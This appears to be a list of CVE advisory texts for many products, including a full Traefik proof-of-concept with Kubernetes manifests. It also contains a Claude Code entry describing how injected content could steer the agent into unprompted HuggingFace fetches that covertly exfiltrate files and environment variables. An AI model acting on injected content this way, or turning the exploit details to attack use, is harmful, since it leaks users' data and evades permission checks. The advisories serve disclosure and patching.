Uncontrolled resource consumption in HTTP/2 allows an unauthorized attacker to deny service over a network.

Microsoft is aware of an elevation of privilege in the Microsoft Malware Protection Engine in Microsoft Defender publicly referred to as "RoguePlanet ". We are working to provide a high quality security update that addresses this vulnerability. We will provide information in this CVE when the update is available.

Integer overflow or wraparound in Windows HTTP.sys allows an unauthorized attacker to execute code over a network.

Mercator is an open source web application that enables mapping of the information system. Prior to version 2025.05.19, a Server-Side Request Forgery (SSRF) vulnerability exists in Mercator's CVE configuration panel (`/admin/config/parameters`). The `testProvider()` method in `ConfigurationController` passes user-supplied input directly to `curl_init()` without validating the scheme, hostname, or destination IP address. An authenticated user with the `configure` permission can force the Mercator server to issue arbitrary outbound network requests. The suffix `/api/dbInfo` appended to the URL can be bypassed by injecting a `#` fragment character (e.g. `http://TARGET/PATH#`), allowing full control over the target URL. No scheme whitelist, host whitelist, or private/loopback IP block is applied. The `telnet://` scheme can be used for internal port scanning; the `gopher://` scheme enables interaction with unauthenticated internal services (Redis, Memcached), potentially leading to Remote Code Execution under specific deployment conditions. Version 2025.05.19 patches the issue.

Mercator is an open source web application that enables mapping of the information system. Prior to version 2025.05.19, Mercator's Query Engine (`/admin/queries/execute`) accepts a JSON DSL (`from` / `select` / `filters` / `traverse` / `output`), translates it into an Eloquent query, and returns results as JSON. The controller method `QueryController::execute()` does not enforce an authorization gate, unlike `store()` and `massDestroy()` in the same controller which are correctly protected. As a result, any authenticated account — including the read-only Auditor role — can query models beyond its intended scope, including the `User` model. Additionally, the `password` column, although declared `$hidden`, is not excluded from filter predicates, which allows it to be used in `LIKE` conditions. The `schema()` and `schemaModel()` endpoints of the same controller are similarly unguarded. The Query Engine is read-only; integrity and availability are not affected. Version 2025.05.19 patches the issue.

SCIM provisioning was introduced in Grafana Enterprise and Grafana Cloud in April to improve how organizations manage users and teams in Grafana by introducing automated user lifecycle management. In Grafana versions 12.x where SCIM provisioning is enabled and configured, a vulnerability in user identity handling allows a malicious or compromised SCIM client to provision a user with a numeric externalId, which in turn could allow to override internal user IDs and lead to impersonation or privilege escalation. This vulnerability applies only if all of the following conditions are met: - `enableSCIM` feature flag set to true - `user_sync_enabled` config option in the `[auth.scim]` block set to true

Improper authentication in Windows SMB Server allows an authorized attacker to elevate privileges locally.

Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

Improper restriction of names for files and other resources in Active Directory Domain Services allows an authorized attacker to elevate privileges over a network.

Integer overflow or wraparound in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to execute code over a network.

Incorrect permission assignment for critical resource in Windows Accessibility Infrastructure (ATBroker.exe) allows an authorized attacker to elevate privileges locally.

Microsoft is aware of a security feature bypass vulnerability in Windows publicly referred to as "YellowKey". The proof of concept for this vulnerability has been made public violating coordinated vulnerability best practices. We are issuing this CVE to provide mitigation guidance that can be implemented to protect against this vulnerability until the security update is made available. Mitigation FAQs Should I leverage the temporary mitigation? Microsoft recommends that you consider implementing these mitigations if you are concerned your devices and data are at risk of being compromised or stolen. For example, if your organization’s employees take their work devices home or on business travel. What impact to service availability/management could be caused by implementing the mitigations? Implementing these mitigations will not impact service availability or management operations. Do customers need to revert the changes made to mitigate the vulnerability once the security update to protect against this vulnerability is available? No. The security update will maintain the mitigation's behavior once the security update is installed. I am using TPM+PIN, am I at risk of this vulnerability being exploited No, if you are using TPM+PIN the vulnerability is not exploitable.

Improper link resolution before file access ('link following') in Microsoft Defender allows an authorized attacker to elevate privileges locally.

Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

Heap-based buffer overflow in Microsoft Defender allows an unauthorized attacker to execute code over a network.

Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network.

Heap-based buffer overflow in Microsoft Windows DNS allows an unauthorized attacker to execute code over a network.

Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network.

Exposure of sensitive information to an unauthorized actor in Windows Snipping Tool allows an unauthorized attacker to perform spoofing over a network.

Double free in Windows IKE Extension allows an unauthorized attacker to execute code over a network.

Insufficient granularity of access control in Microsoft Defender allows an authorized attacker to elevate privileges locally.

Protection mechanism failure in Windows Shell allows an unauthorized attacker to perform spoofing over a network.

Double free in Windows Kernel allows an authorized attacker to elevate privileges locally.

Microsoft HEIF Image Extensions 1.2.22.0 has an out-of-bounds read because CHEIFItemInfoEntry_GetDataSize can return success while leaving the reported data size as 0. This causes a caller to make a 1-byte allocation. Later, CopyPixels computes copy_size = stride * abs(roi_height) but does not check the source buffer length before a memmove call.

In the Linux kernel, the following vulnerability has been resolved: net/sched: fix pedit partial COW leading to page cache corruption tcf_pedit_act() computes the COW range for skb_ensure_writable() once before the key loop using tcfp_off_max_hint, but the hint does not account for the runtime header offset added by typed keys. This can leave part of the write region un-COW'd. Fix by moving skb_ensure_writable() inside the per-key loop where the actual write offset is known, and add overflow checking on the offset arithmetic. For negative offsets (e.g. Ethernet header edits at ingress), use skb_cow() to COW the headroom instead. Guard offset_valid() against INT_MIN, where negation is undefined.

The BetterDocs Pro plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 3.8.0 via the `doc_style` parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.

In Splunk Enterprise 10.2 versions below 10.2.4 and 10 versions below 10.0.7, an unauthenticated user could create or truncate arbitrary files through a PostgreSQL sidecar service endpoint. The vulnerability exists because the PostgreSQL sidecar service endpoint lacks authentication controls, allowing any network-reachable user to invoke file operations without credentials. Splunk Enterprise versions 9.4 and earlier are not affected. If you cannot immediately upgrade to a fixed version, you can mitigate this vulnerability by disabling the PostgreSQL sidecar service.

Generation of Error Message Containing Sensitive Information vulnerability in Apache Tomcat.This issue affects Apache Tomcat: from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43. Other, EOL versions may also be affected. Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue.

Incorrect object recycling and reuse vulnerability in Apache Tomcat. This issue affects Apache Tomcat: 11.0.0, 10.1.31, 9.0.96. Users are recommended to upgrade to version 11.0.1, 10.1.32 or 9.0.97, which fixes the issue.

Apache Commons FileUpload before 1.5 does not limit the number of request parts to be processed resulting in the possibility of an attacker triggering a DoS with a malicious upload or series of uploads. Note that, like all of the file upload limits, the new configuration option (FileUploadBase#setFileCountMax) is not enabled by default and must be explicitly configured.

The SSI printenv command in Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 echoes user provided data without escaping and is, therefore, vulnerable to XSS. SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Drupal Drupal core allows SQL Injection. This issue affects Drupal core: from 8.9.0 before 10.4.10, from 10.5.0 before 10.5.10, from 10.6.0 before 10.6.9, from 11.0.0 before 11.1.10, from 11.2.0 before 11.2.12, from 11.3.0 before 11.3.10.

In JazzCore python-pdfkit 1.0.0, the from_string method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files.

The Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.2.6. This is due to missing or incorrect nonce validation on the replace_file function. This makes it possible for unauthenticated attackers to overwrite existing media attachments with attacker-supplied file content by supplying a forged multipart POST request targeting any attachment the victim has edit_post capability over via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. The forged request requires a victim with at least Author-level privileges, as the handler enforces a current_user_can('edit_post', $id) check; tricking an Author-level or higher user into clicking a crafted link is sufficient to trigger the overwrite against attachments that user can edit.

There exists a vulnerability in SQLite versions before 3.50.2 where the number of aggregate terms could exceed the number of columns available. This could lead to a memory corruption issue. We recommend upgrading to version 3.50.2 or above.

Memory Allocation with Excessive Size Value vulnerability in Apache HTTP Server's mod_http leads to denial of service via malicious HTTP requests. This issue affects Apache HTTP Server: from 2.4.17 through 2.4.67.

A path traversal: '../filedir' vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4.0 through 4.4.8 may allow attacker to escalation of privilege via <insert attack vector here>

NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_rewrite_module module. This vulnerability exists when a rewrite directive uses a regex pattern with distinct, overlapping Perl-Compatible Regular Expression (PCRE) captures (for example, ^/((.*))$) and a replacement string that references multiple such captures (for example, $1$2) in a redirect or arguments context. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NGINX Open Source has a vulnerability in the ngx_http_v3_module module. When NGINX Open Source is configured to use the HTTP/3 QUIC module, a remote unauthenticated attacker along with conditions beyond their control can use a specially crafted HTTP/3 session to reopen a QPACK encoder stream. This may cause a Use-after-Free in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_proxy_v2_module and ngx_http_grpc_module modules. This vulnerability exists when the proxy_http_version to 2 or grpc_pass directives are used to proxy HTTP/2 traffic, the ignore_invalid_headers directive is set to off, and the large_client_header_buffers directive size is larger than 2 megabytes. A remote, unauthenticated attacker, along with conditions beyond their control, could send large headers while creating an upstream request. This may cause a heap-based buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

In Citrix Cloud through 2025-11-10, an account with read-only access can trigger the beginning of a workflow for write operations, e.g., the system will send a one-time password to an attacker-controlled email address when the attacker attempts to reset the password of a user account.

Because the hostname huggingface.co was pre-approved as a bare hostname for the WebFetch tool, any path on that domain—including attacker-controlled model repositories—was auto-approved without a permission prompt or being subject to --allowedTools restrictions. An attacker able to inject untrusted content into a Claude Code context could direct it to issue WebFetch requests against attacker-controlled repository files (e.g. /resolve/main/config.json), which HuggingFace counts as downloads server-side, creating a covert out-of-band channel for encoding and exfiltrating data Claude can access such as files, environment variables, or command output. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window. Users on standard Claude Code auto-update have received this fix already; users performing manual updates are advised to update to the latest version. Thank you to hackerone.com/novee for reporting this issue.

## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.21 - https://github.com/traefik/traefik/releases/tag/v3.7.5 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Summary The Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs. For `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference. Verified affected versions: - `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`) - current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`) # Expected Behavior With: ```yaml providers: kubernetesGateway: crossProviderNamespaces: - trusted ``` only Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`. An `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting: ```yaml backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted ``` # Actual Behavior For an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing: ```text [api@internal attacker-whoami-http-80] ``` even though `crossProviderNamespaces` only allows `trusted`. # Threat Model This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs. The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services. A Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`. # Required Attacker Capability Required: - create or modify an `HTTPRoute` in namespace `attacker`; - have that `HTTPRoute` accepted by a `Gateway`; - rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration. Not required: - modifying Traefik static configuration; - modifying the Traefik deployment or Traefik RBAC; - modifying resources in the Traefik deployment namespace; - modifying `providers.kubernetesGateway.crossProviderNamespaces`; - enabling `api.insecure`; - exposing the dashboard/API entrypoint directly. # Documentation Evidence The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`. The Kubernetes Gateway provider option is documented as: ```text List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService. ``` The migration notes also describe the security reason for the option: ```text those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose. ``` and the documented behavior is: ```text ["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references. ``` The provider struct uses the same route-namespace wording: ```go CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...` ``` The reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC. # PoC I validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint. The complete local reproducer I used is a self-contained `kind` PoC with these files: ```text external-repro-kind/kind-config.yaml external-repro-kind/traefik-v371.yaml external-repro-kind/gateway-exploit.yaml external-repro-kind/run-kind-repro.sh ``` Run command: ```bash ./external-repro-kind/run-kind-repro.sh ``` The script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit. Traefik was started with: ```text --api=true --api.dashboard=true --api.insecure=false --providers.kubernetesgateway=true --providers.kubernetesgateway.crossprovidernamespaces=trusted ``` The local host entrypoint was: ```text 127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint ``` The target namespace has a normal Gateway API `ReferenceGrant`: ```yaml apiVersion: gateway.networking.k8s.io/v1beta1 kind: ReferenceGrant metadata: name: allow-attacker-to-traefikservice namespace: trusted spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: attacker to: - group: traefik.io kind: TraefikService ``` Positive control: ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: single-backend-control namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - control.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1 ``` Bypass: ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: mixed-backend-bypass namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - exploit.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1000000 - group: "" kind: Service name: whoami port: 80 weight: 1 ``` Observed external result: ```text control: single-backend route from attacker namespace should not expose api@internal control status: 404 404 page not found exploit: mixed backendRef route from attacker namespace exposes api@internal exploit returned Traefik API JSON api@internal status: enabled weighted members: api@internal 1000000 attacker-whoami-http-80 1 ``` The `HTTPRoute` status shows the boundary difference: ```text single-backend-control: Accepted=True ResolvedRefs=False Reason=RefNotPermitted Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces mixed-backend-bypass: Accepted=True ResolvedRefs=True ``` This is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane. ## Minimized Root Cause Test I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction. Files: - `probe/crossprovider_namespace_probe_test.go` - `probe/cross_provider_namespace_probe.yml` - `probe/cross_provider_namespace_single_control.yml` Reproduction: ```bash cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/ cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/ go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v ``` Observed output on both tested versions: ```text Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80] ``` The reproducer also includes a positive control: ```text === RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl --- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl ``` That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list. # Root Cause The single-internal-service path checks the route namespace: ```go case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef): if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) { ``` The mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`: ```go namespace := route.Namespace if backendRef.Namespace != nil && *backendRef.Namespace != "" { namespace = string(*backendRef.Namespace) } ... name, service, err := p.loadHTTPBackendRef(namespace, backendRef) ``` `loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace: ```go if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") { if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) { ``` This lets a disallowed route namespace choose an allow-listed target namespace and pass the check. # Impact An untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`. Potentially exposed internal services include: - `api@internal` - `dashboard@internal` - `rest@internal` This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`. I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint: ```text Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found ``` When a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated: ```text Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK service: api@internal ``` A WRR service containing `api@internal` also exposes the API: ```text Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK weighted services: api@internal 1000 echo-svc 1 ``` This is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls. # Suggested Fix For Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs. </details> ---

Unauthenticated SQL Injection in JetSearch <= 3.5.17 versions.

A vulnerability in the JCE editor extension for Joomla allows the creation of new editor profiles for unauthenticated users, ultimately resulting in PHP code upload and execution.

DbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction. An authenticated user with basic access (no admin role, no run-shell-script permission required) can: execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process, read/write any file accessible to the process, pivot to connected databases by reading connection credentials from DbGate's storage, and compromise the host system - in Docker deployments, this typically means root access within the container.

A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an authenticated, remote attacker to create a file or overwrite any file on the filesystem of an affected system. This vulnerability exists because the affected software does not properly validate user-supplied input during a file upload process. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected API endpoint of the affected system. A successful exploit could allow the attacker to create or overwrite any file on the underlying operating system. This file could later be used to elevate to root. To exploit this vulnerability, the attacker must have valid credentials with at least a lower-privileged, single-task user account.